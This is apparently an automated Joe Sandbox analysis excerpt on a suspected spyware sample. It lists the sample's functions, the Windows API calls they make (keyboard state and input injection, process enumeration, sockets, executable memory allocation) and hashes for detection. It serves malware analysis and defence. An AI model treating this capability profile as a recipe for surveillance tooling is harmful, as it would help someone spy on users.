Instruction Fuzzy Hash: 75D0C730420317DFD720AF74D888796B2E4BF04381F50C82AF482EA160EFB4C8C0CA40

Function 00AD7D9B Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18d4307764dc75f25d2d1d8a7443e55ae5f1564472936850166d8b82ea6d31ee
Instruction ID: b58041e328b954a39cd7e047ee3e6dc23bcc4092d1582a5fdffc6d8184cb3d3d
Opcode Fuzzy Hash: 18d4307764dc75f25d2d1d8a7443e55ae5f1564472936850166d8b82ea6d31ee
Instruction Fuzzy Hash: C8C17F75A00216EFCB18CF98C884EAEB7B5FF48714B158599E806EB351DB35ED81CB90

Function 00AFE713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00AFE7A7
CharLowerBuffW.USER32(?,?), ref: 00AFE7EA

Part of subcall function 00AFDE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00AFDEAE

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00AFE9EA
_memmove.LIBCMT ref: 00AFE9FD

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 5ce514fd5a55249f5b5d69a98f65f5b87eb10fd4642376466eb6421ee71817d4
Instruction ID: 560dab4a2a0ef22faa7ad1f1d576d9a9c7b776bf31411a65e1e552cb7b15cafb
Opcode Fuzzy Hash: 5ce514fd5a55249f5b5d69a98f65f5b87eb10fd4642376466eb6421ee71817d4
Instruction Fuzzy Hash: 4CC18971A083058FC714EF68C48096ABBE4FF89754F04896EF999DB361D731E946CB82

Function 00AF877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00AF87AD
CoUninitialize.OLE32 ref: 00AF87B8

Part of subcall function 00B0DF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00AF8A0E,?,00000000), ref: 00B0DF71

VariantInit.OLEAUT32(?), ref: 00AF87C3
VariantClear.OLEAUT32(?), ref: 00AF8A94

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 5e3986486801dbdcb54a050d0a984c638598fd7a4d500fa675351b46c3cb5a69
Instruction ID: b447d682520c8902b4ba251550ce9fe271f241135e0c5061653f25815c88cd06
Opcode Fuzzy Hash: 5e3986486801dbdcb54a050d0a984c638598fd7a4d500fa675351b46c3cb5a69
Instruction Fuzzy Hash: 53A17A35604B069FD710EFA4C581B2AB7E4FF88354F148849FA969B3A1DB74ED40CB92

Function 00AD814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00B13C4C,?), ref: 00AD8308
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00B13C4C,?), ref: 00AD8320
CLSIDFromProgID.OLE32(?,?,00000000,00B10988,000000FF,?,00000000,00000800,00000000,?,00B13C4C,?), ref: 00AD8345
_memcmp.LIBCMT ref: 00AD8366

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: afcb37a6f2f6976dfa9627ede599b9be21e4f626d7b99c05a413e004d8af7d62
Instruction ID: 6b0518f31e1ddc3859ed9fc478a5d77bcce59d238950c93b428c900114ea35e2
Opcode Fuzzy Hash: afcb37a6f2f6976dfa9627ede599b9be21e4f626d7b99c05a413e004d8af7d62
Instruction Fuzzy Hash: 62814971A00109EFCB04DF94C988EEEB7B9FF89715F204599E516AB250DB71AE06CB60

Function 00AD749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00AD74AC
SysAllocString.OLEAUT32(00000000), ref: 00AD7555
VariantCopy.OLEAUT32 ref: 00AD7584
VariantClear.OLEAUT32(?), ref: 00AD75AB

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 332fdf6a6bf39d2a25380f7c1169be910fd092aac7b8453edc3b298e1d3efa46
Instruction ID: 035094105b36f2580e33984877d08a3320340403b6ccd77296035489c43df623
Opcode Fuzzy Hash: 332fdf6a6bf39d2a25380f7c1169be910fd092aac7b8453edc3b298e1d3efa46
Instruction Fuzzy Hash: DE51C434608B029BDB28AF79D995A2DF7F5AF45310B20881FE547CB7A1FB70D8808B05

Function 00AFF4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00AFF526
Process32FirstW.KERNEL32(00000000,?), ref: 00AFF534

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Process32NextW.KERNEL32(00000000,?), ref: 00AFF5F4
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00AFF603

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 779009f7f03090f6bf797709ded167f75647dec5cd0344a6c19d28747ca40955
Instruction ID: 011c5e04d6bed97431507a40510b4bc04b3332d929de123d0ecc8d019009635f
Opcode Fuzzy Hash: 779009f7f03090f6bf797709ded167f75647dec5cd0344a6c19d28747ca40955
Instruction Fuzzy Hash: D3517DB1108315AFD710EF64D885EABB7E8EF98710F40492DF595D72A1EB70E904CB92

Function 00AA492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00AA49C0
__flush.LIBCMT ref: 00AA49E0
__write.LIBCMT ref: 00AA4A13
__flsbuf.LIBCMT ref: 00AA4A41

Part of subcall function 00AA8D58: __getptd_noexit.LIBCMT ref: 00AA8D58

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: 4a47fb3dc1865ed6052fe873d806a37ab1972d76f38230d3dd327252adcfaeff
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: 844196356007069BDF288F69C9909AFBBA5AFCA3A0B24817DF455C76D0D7B09D508B44

Function 00ADA638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00ADA68A
__itow.LIBCMT ref: 00ADA6BB

Part of subcall function 00ADA90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00ADA976

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00ADA724
__itow.LIBCMT ref: 00ADA77B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: c9f46a88f3c6c3b3d1dda04dc284d010ead889c99a66df17a02dadd1a4d1c8cd
Instruction ID: 6080cd1a51a77141f773811419129b00a835be486a4442838adfa2c4d2fd6c0e
Opcode Fuzzy Hash: c9f46a88f3c6c3b3d1dda04dc284d010ead889c99a66df17a02dadd1a4d1c8cd
Instruction Fuzzy Hash: C4416E75A00309ABDF11EF54C956BEE7BB9EF54750F04006AF906A3391DB709A44CAA2

Function 00AF7095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00AF70BC
WSAGetLastError.WSOCK32(00000000), ref: 00AF70CC

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00AF7130
WSAGetLastError.WSOCK32(00000000), ref: 00AF713C

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 30d4bb683f21737946782f50192c9e0028974e1dcacab24514e3dbaf283f37a7
Instruction ID: c9e78a2e96474157aa257a85cd524055c6821c62aeba25f99af041643e5eebdf
Opcode Fuzzy Hash: 30d4bb683f21737946782f50192c9e0028974e1dcacab24514e3dbaf283f37a7
Instruction Fuzzy Hash: 9A41BF717442016FEB24BF64DD86F7E77E4AB08B14F048558FA199B3D2EBB09C008B91

Function 00AF6B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00B10980), ref: 00AF6B92
_strlen.LIBCMT ref: 00AF6BC4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 5eaf196c56d7e28f0db78d1182c9070c33e5d47e87116300b2779b58af905c05
Instruction ID: 9f7f0e57f539fd3fcd88f5711863c12c5b10ff2df7572545612a786800754964
Opcode Fuzzy Hash: 5eaf196c56d7e28f0db78d1182c9070c33e5d47e87116300b2779b58af905c05
Instruction Fuzzy Hash: 01419071A00109AFCB14FBA4DE96EBEB3B9EF58310F148155F95A9B292DF30AD41C790

Function 00B08E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00B08F03

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: bbef8703af188368302601d889c63a598404f5a65e71e72500b8efde6b3efae7
Instruction ID: cb1252776e8fd23b2b3dd8e2ff221cf79a50af50e1d9854f44ba9ed68a948b7f
Opcode Fuzzy Hash: bbef8703af188368302601d889c63a598404f5a65e71e72500b8efde6b3efae7
Instruction Fuzzy Hash: 7631C33465411AEEEF209A24CC85BAC3FE6EB06320F544991FA91D71E1CFB0DB50CB91

Function 00B0B1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00B0B1D2
GetWindowRect.USER32(?,?), ref: 00B0B248
PtInRect.USER32(?,?,00B0C6BC), ref: 00B0B258
MessageBeep.USER32(00000000), ref: 00B0B2C9

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 4ffd8f1ce4ab8e59355f9a1d760c1b6e96bd82fc80ddb339c47dc19f332f787a
Instruction ID: 8f9e54fd1c236fc6cb2e6a132714f8d25c8cbc6d50825a4a39cce0d9f31ab7ab
Opcode Fuzzy Hash: 4ffd8f1ce4ab8e59355f9a1d760c1b6e96bd82fc80ddb339c47dc19f332f787a
Instruction Fuzzy Hash: E8414734A04219DFDB11DF99C884EAD7FF5FB4A350F1885E9E8189B2A5DB30A941CB90

Function 00AE12D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00AE1326
SetKeyboardState.USER32(00000080,?,00000001), ref: 00AE1342
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00AE13A8
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00AE13FA

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: ae89d288b6509ccdc0639dac26125dd74fe89d98ccf0e5e1abfe6932ab4cd24f
Instruction ID: 3bcbc4e818bbf3c8dbdd15eee4f9128d505e4b381903c64e9495f7673674a46c
Opcode Fuzzy Hash: ae89d288b6509ccdc0639dac26125dd74fe89d98ccf0e5e1abfe6932ab4cd24f
Instruction Fuzzy Hash: A3316E709402A9AEFF3187278C05BFEBBB6AB44310F04831AF4D05A6D5D3748D919B51

Function 00AE1410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7694C0D0,?,00008000), ref: 00AE1465
SetKeyboardState.USER32(00000080,?,00008000), ref: 00AE1481
PostMessageW.USER32(00000000,00000101,00000000), ref: 00AE14E0
SendInput.USER32(00000001,?,0000001C,7694C0D0,?,00008000), ref: 00AE1532

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 2723c7f5ea06764e657ba19d1fe5224b634d61c32ec4db536f9111b170e449ac
Instruction ID: df67a6f7632f9aa601fe28f795501dbc7da2bc49ec7c99405d3ca878ec3d1453
Opcode Fuzzy Hash: 2723c7f5ea06764e657ba19d1fe5224b634d61c32ec4db536f9111b170e449ac
Instruction Fuzzy Hash: 10317BB09402A85EFF348B678C04BFEBBB6AB95310F48831AE491522D1C3788DC18B61

Function 00AB63F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00AB642B
__isleadbyte_l.LIBCMT ref: 00AB6459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00AB6487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00AB64BD

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 692f599e26266c83300aa994ed8d2768cbeadf68d7f245888315f732168092b3
Instruction ID: 62e76cb6dd5e82742e97081ef8294711c1275487791356a26e53cd869b1ea122
Opcode Fuzzy Hash: 692f599e26266c83300aa994ed8d2768cbeadf68d7f245888315f732168092b3
Instruction Fuzzy Hash: 5031D031600A56AFDB218F65CE44BEB7FA9FF41320F154429F82487192DB39E890DB50

Function 00B0552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00B0553F

Part of subcall function 00AE3B34: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00AE3B4E
Part of subcall function 00AE3B34: GetCurrentThreadId.KERNEL32 ref: 00AE3B55
Part of subcall function 00AE3B34: AttachThreadInput.USER32(00000000,?,00AE55C0), ref: 00AE3B5C

GetCaretPos.USER32(?), ref: 00B05550
ClientToScreen.USER32(00000000,?), ref: 00B0558B
GetForegroundWindow.USER32 ref: 00B05591

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 2e51fff592a9ecbc4596a4b972ea4d1558d244a7e492ef5c424b4e085569f85e
Instruction ID: 547d2c92f03cf5fd209cfb0438719ef9ce8690fa5e3202a2b3105c044771fe25
Opcode Fuzzy Hash: 2e51fff592a9ecbc4596a4b972ea4d1558d244a7e492ef5c424b4e085569f85e
Instruction Fuzzy Hash: C4313C72900109AFDB10EFB5CD859EFB7F9EF98304F10406AE515E7241EA75AE408BA0

Function 00B0CB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A829E2: GetWindowLongW.USER32(?,000000EB), ref: 00A829F3

GetCursorPos.USER32(?), ref: 00B0CB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00ABBCEC,?,?,?,?,?), ref: 00B0CB8F
GetCursorPos.USER32(?), ref: 00B0CBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00ABBCEC,?,?,?), ref: 00B0CC16

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: d4aba9fda0628d54320ffd80144eac5e1ca1404e4d306df11ccf1d542c6b2570
Instruction ID: 76e8286ce5c8e0554b405d2d7a08e8f64cda754ed7ee127269401dda1d946d52
Opcode Fuzzy Hash: d4aba9fda0628d54320ffd80144eac5e1ca1404e4d306df11ccf1d542c6b2570
Instruction Fuzzy Hash: E6318D35600018AFCB259F59C899EFA7FF6EB49310F444199F9059B2B1CB319D51EFA0

Function 00AA0BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00AA0BE2

Part of subcall function 00A9402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00AE7E51,?,?,00000000), ref: 00A94041
Part of subcall function 00A9402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00AE7E51,?,?,00000000,?,?), ref: 00A94065

_fprintf.LIBCMT ref: 00AA0C19
OutputDebugStringW.KERNEL32(?), ref: 00AD694C

Part of subcall function 00AA4CCA: _flsall.LIBCMT ref: 00AA4CE3

__setmode.LIBCMT ref: 00AA0C4E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

